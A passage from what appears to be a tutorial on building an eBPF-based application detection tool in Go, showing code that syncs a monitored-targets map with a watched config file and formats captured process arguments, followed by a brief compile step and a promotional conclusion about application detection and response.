  for key := range currentTargets {
    if _, exists := newTargets[key]; !exists {
      if err := targetsMap.Delete(key); err != nil && !errors.Is(err, ebpf.ErrKeyNotExist) {
        log.Printf("Failed to delete key %s from eBPF map: %v", key, err)
      }
    }
  }

  return newTargets
}

func watchConfig(configFile string, targetsMap *ebpf.Map, currentTargets map[TargetKey]uint8) {
  watcher, err := fsnotify.NewWatcher()
  if err != nil {
    log.Fatalf("Failed to create file watcher: %v", err)
  }
  defer watcher.Close()

  if err := watcher.Add(configFile); err != nil {
    log.Fatalf("Failed to watch config file: %v", err)
  }

  for {
    select {
    case event, ok := <-watcher.Events:
      if !ok {
        return
      }
      if event.Op.Has(fsnotify.Write) {
        log.Println("Config file changed, reloading...")

        time.Sleep(1 * time.Second)
        var config Config
        if err := loadConfig(event.Name, &config); err != nil {
          log.Printf("Error reloading config: %v", err)
          continue
        }
        populateMap(targetsMap, config, currentTargets)
      }
    case err := <-watcher.Errors:
      log.Printf("File watcher error: %v", err)
    }
  }
}

func printArgs(e *Event) string {
  argsCounter := 0
  args := ""

  for i := 0; i < int(e.ArgSize) && argsCounter < int(e.ArgsCount); i++ {
    if e.Args[i] == 0 {
      argsCounter++
      if argsCounter == int(e.ArgsCount) {
        break
      }
      args += " "
      continue
    }
    args += string(e.Args[i])
  }
  if e.ArgsCount == MaxArgs+1 {
    args += " ..."
  }

  return args
}

Compiling #

Now we can generate the eBPF code and compile the application.

go generete

Conclusion #

As cyber threats continue to evolve, traditional network-based AppSec measures are no longer sufficient to protect critical applications and data. The ADR technology offers a reliable, intelligent, and proactive approach to application security. By understanding the nature of modern attacks and leveraging advanced ADR solutions, organizations can significantly strengthen their defenses, minimize risks, and stay ahead of emerging threats.